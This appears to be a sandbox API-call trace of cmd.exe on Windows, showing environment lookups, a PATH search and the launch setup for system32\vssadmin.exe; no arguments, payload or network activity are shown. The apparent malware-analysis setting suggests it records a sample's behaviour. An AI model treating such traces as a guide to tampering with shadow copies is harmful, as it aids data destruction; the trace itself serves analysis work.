	[0074.467] FreeEnvironmentStringsA (penv="A") returned 1
	[0074.467] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0074.467] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0074.467] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0074.467] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0074.467] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0074.467] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0074.467] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0074.467] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0074.467] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0074.467] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0074.467] malloc (_Size=0xffce) returned 0xa8fff8
	[0074.467] ??_V@YAXPAX@Z () returned 0x6ff454
	[0074.467] GetProcessHeap () returned 0x720000
	[0074.467] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x38) returned 0x720ae0
	[0074.467] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0xa8fff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0074.468] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0xa8fff8, lpFilePart=0x6ff4a0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x6ff4a0*="Desktop") returned 0x17
	[0074.468] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0074.468] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x6ff220 | out: lpFindFileData=0x6ff220*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x720b20
	[0074.468] FindClose (in: hFindFile=0x720b20 | out: hFindFile=0x720b20) returned 1
	[0074.468] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x6ff220 | out: lpFindFileData=0x6ff220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x720b20
	[0074.468] FindClose (in: hFindFile=0x720b20 | out: hFindFile=0x720b20) returned 1
	[0074.468] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x6ff220 | out: lpFindFileData=0x6ff220*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x205eab37, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x205eab37, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x720b20
	[0074.469] FindClose (in: hFindFile=0x720b20 | out: hFindFile=0x720b20) returned 1
	[0074.469] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0074.469] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0074.469] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0074.469] GetProcessHeap () returned 0x720000
	[0074.469] RtlFreeHeap (HeapHandle=0x720000, Flags=0x0, BaseAddress=0x727738) returned 1
	[0074.469] GetEnvironmentStringsW () returned 0x724bc0*
	[0074.469] GetProcessHeap () returned 0x720000
	[0074.469] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0xb1a) returned 0x726c48
	[0074.469] FreeEnvironmentStringsA (penv="=") returned 1
	[0074.469] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0xa70048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0074.469] GetProcessHeap () returned 0x720000
	[0074.469] RtlFreeHeap (HeapHandle=0x720000, Flags=0x0, BaseAddress=0x720ae0) returned 1
	[0074.469] ??_V@YAXPAX@Z () returned 0x1
	[0074.469] ??_V@YAXPAX@Z () returned 0x1
	[0074.469] GetProcessHeap () returned 0x720000
	[0074.469] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x400e) returned 0x728d50
	[0074.470] GetProcessHeap () returned 0x720000
	[0074.470] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x84) returned 0x727770
	[0074.470] GetProcessHeap () returned 0x720000
	[0074.470] RtlFreeHeap (HeapHandle=0x720000, Flags=0x0, BaseAddress=0x728d50) returned 1
	[0074.470] GetConsoleOutputCP () returned 0x1b5
	[0074.471] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0074.471] GetUserDefaultLCID () returned 0x409
	[0074.471] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xb9f82c, cchData=8 | out: lpLCData=":") returned 2
	[0074.471] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x6ff810, cchData=128 | out: lpLCData="0") returned 2
	[0074.471] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x6ff810, cchData=128 | out: lpLCData="0") returned 2
	[0074.472] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x6ff810, cchData=128 | out: lpLCData="1") returned 2
	[0074.472] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xb9f81c, cchData=8 | out: lpLCData="/") returned 2
	[0074.472] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xb9f7b8, cchData=32 | out: lpLCData="Mon") returned 4
	[0074.472] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xb9f778, cchData=32 | out: lpLCData="Tue") returned 4
	[0074.472] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xb9f738, cchData=32 | out: lpLCData="Wed") returned 4
	[0074.472] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xb9f6f8, cchData=32 | out: lpLCData="Thu") returned 4
	[0074.472] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xb9f6b8, cchData=32 | out: lpLCData="Fri") returned 4
	[0074.472] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xb9f678, cchData=32 | out: lpLCData="Sat") returned 4
	[0074.472] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xb9f638, cchData=32 | out: lpLCData="Sun") returned 4
	[0074.472] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xb9f80c, cchData=8 | out: lpLCData=".") returned 2
	[0074.472] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xb9f7f8, cchData=8 | out: lpLCData=",") returned 2
	[0074.472] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0074.473] GetProcessHeap () returned 0x720000
	[0074.473] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20c) returned 0x727848
	[0074.473] GetConsoleTitleW (in: lpConsoleTitle=0x727848, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0074.474] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0074.474] GetProcAddress (hModule=0x76750000, lpProcName="CopyFileExW") returned 0x76764330
	[0074.474] GetProcAddress (hModule=0x76750000, lpProcName="IsDebuggerPresent") returned 0x76765930
	[0074.474] GetProcAddress (hModule=0x76750000, lpProcName="SetConsoleInputExeNameW") returned 0x748f09d0
	[0074.474] ??_V@YAXPAX@Z () returned 0x1
	[0074.475] GetProcessHeap () returned 0x720000
	[0074.475] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x400a) returned 0x728d50
	[0074.475] GetProcessHeap () returned 0x720000
	[0074.475] RtlFreeHeap (HeapHandle=0x720000, Flags=0x0, BaseAddress=0x728d50) returned 1
	[0074.475] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0074.475] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0074.475] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0074.475] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0074.475] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0074.475] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0074.475] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0074.475] GetProcessHeap () returned 0x720000
	[0074.475] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x58) returned 0x727a60
	[0074.475] GetProcessHeap () returned 0x720000
	[0074.475] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x1a) returned 0x727ac0
	[0074.477] GetProcessHeap () returned 0x720000
	[0074.477] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x70) returned 0x727ae8
	[0074.477] GetConsoleTitleW (in: lpConsoleTitle=0x6ff708, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0074.477] malloc (_Size=0xffce) returned 0xa82638
	[0074.478] ??_V@YAXPAX@Z () returned 0x6ff494
	[0074.478] malloc (_Size=0xffce) returned 0xa92610
	[0074.479] ??_V@YAXPAX@Z () returned 0x6ff24c
	[0074.479] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0074.479] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0074.479] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0074.479] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0074.479] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0074.479] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0074.480] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0074.481] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0074.482] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0074.482] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0074.482] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0074.482] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0074.482] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0074.482] ??_V@YAXPAX@Z () returned 0x1
	[0074.482] GetProcessHeap () returned 0x720000
	[0074.482] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0xffd6) returned 0x728d50
	[0074.483] GetProcessHeap () returned 0x720000
	[0074.483] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x82) returned 0x727b60
	[0074.483] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0074.483] malloc (_Size=0xffce) returned 0xa92610
	[0074.483] ??_V@YAXPAX@Z () returned 0x6fefcc
	[0074.483] GetProcessHeap () returned 0x720000
	[0074.483] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x1ffa4) returned 0x738d30
	[0074.485] SetErrorMode (uMode=0x0) returned 0x0
	[0074.485] SetErrorMode (uMode=0x1) returned 0x0
	[0074.485] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x738d38, lpFilePart=0x6fefec | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x6fefec*="Desktop") returned 0x17
	[0074.485] SetErrorMode (uMode=0x0) returned 0x1
	[0074.485] GetProcessHeap () returned 0x720000
	[0074.485] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x738d30, Size=0x4a) returned 0x738d30
	[0074.485] GetProcessHeap () returned 0x720000
	[0074.485] RtlSizeHeap (HeapHandle=0x720000, Flags=0x0, MemoryPointer=0x738d30) returned 0x4a
	[0074.485] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0074.485] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0074.485] GetProcessHeap () returned 0x720000
	[0074.485] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x1b4) returned 0x727bf0
	[0074.485] GetProcessHeap () returned 0x720000
	[0074.486] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x360) returned 0x727db0
	[0074.491] GetProcessHeap () returned 0x720000
	[0074.491] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x727db0, Size=0x1b6) returned 0x727db0
	[0074.491] GetProcessHeap () returned 0x720000
	[0074.491] RtlSizeHeap (HeapHandle=0x720000, Flags=0x0, MemoryPointer=0x727db0) returned 0x1b6
	[0074.491] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0074.491] GetProcessHeap () returned 0x720000
	[0074.491] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0xe0) returned 0x727f70
	[0074.491] GetProcessHeap () returned 0x720000
	[0074.491] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x727f70, Size=0x76) returned 0x727f70
	[0074.491] GetProcessHeap () returned 0x720000
	[0074.491] RtlSizeHeap (HeapHandle=0x720000, Flags=0x0, MemoryPointer=0x727f70) returned 0x76
	[0074.492] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0074.492] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x6fed78, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6fed78) returned 0xffffffff
	[0074.492] GetLastError () returned 0x2
	[0074.492] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0074.492] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x6fed78, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6fed78) returned 0xffffffff
	[0074.492] GetLastError () returned 0x2
	[0074.492] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0074.492] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x6fed78, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6fed78) returned 0x727ff0
	[0074.493] GetProcessHeap () returned 0x720000
	[0074.493] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x14) returned 0x728030
	[0074.493] FindClose (in: hFindFile=0x727ff0 | out: hFindFile=0x727ff0) returned 1
	[0074.493] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x6fed78, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6fed78) returned 0xffffffff
	[0074.493] GetLastError () returned 0x2
	[0074.493] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x6fed78, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6fed78) returned 0x727ff0
	[0074.493] GetProcessHeap () returned 0x720000
	[0074.493] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x728030, Size=0x4) returned 0x728030
	[0074.493] FindClose (in: hFindFile=0x727ff0 | out: hFindFile=0x727ff0) returned 1
	[0074.493] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0074.493] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0074.493] ??_V@YAXPAX@Z () returned 0x1
	[0074.493] GetConsoleTitleW (in: lpConsoleTitle=0x6ff27c, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0074.493] InitializeProcThreadAttributeList (in: lpAttributeList=0x6ff1a8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x6ff194 | out: lpAttributeList=0x6ff1a8, lpSize=0x6ff194) returned 1
	[0074.493] UpdateProcThreadAttribute (in: lpAttributeList=0x6ff1a8, dwFlags=0x0, Attribute=0x60001, lpValue=0x6ff190, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x6ff1a8, lpPreviousValue=0x0) returned 1
	[0074.494] GetStartupInfoW (in: lpStartupInfo=0x6ff1e0 | out: lpStartupInfo=0x6ff1e0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0074.494] GetProcessHeap () returned 0x720000
	[0074.494] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x18) returned 0x727ff0
	[0074.494] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0074.494] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0074.494] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0074.494] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0074.494] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0074.494] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0074.494] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0074.494] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0074.494] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0074.494] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0074.494] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0074.494] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0074.497] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0074.497] GetProcessHeap () returned 0x720000
	[0074.497] RtlFreeHeap (HeapHandle=0x720000, Flags=0x0, BaseAddress=0x727ff0) returned 1
	[0074.497] GetProcessHeap () returned 0x720000
	[0074.497] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0xa) returned 0x727ff0
	[0074.497] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1
	[0074.499] _get_osfhandle (_FileHandle=1) returned 0x90
	[0074.499] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0074.499] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0074.499] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1
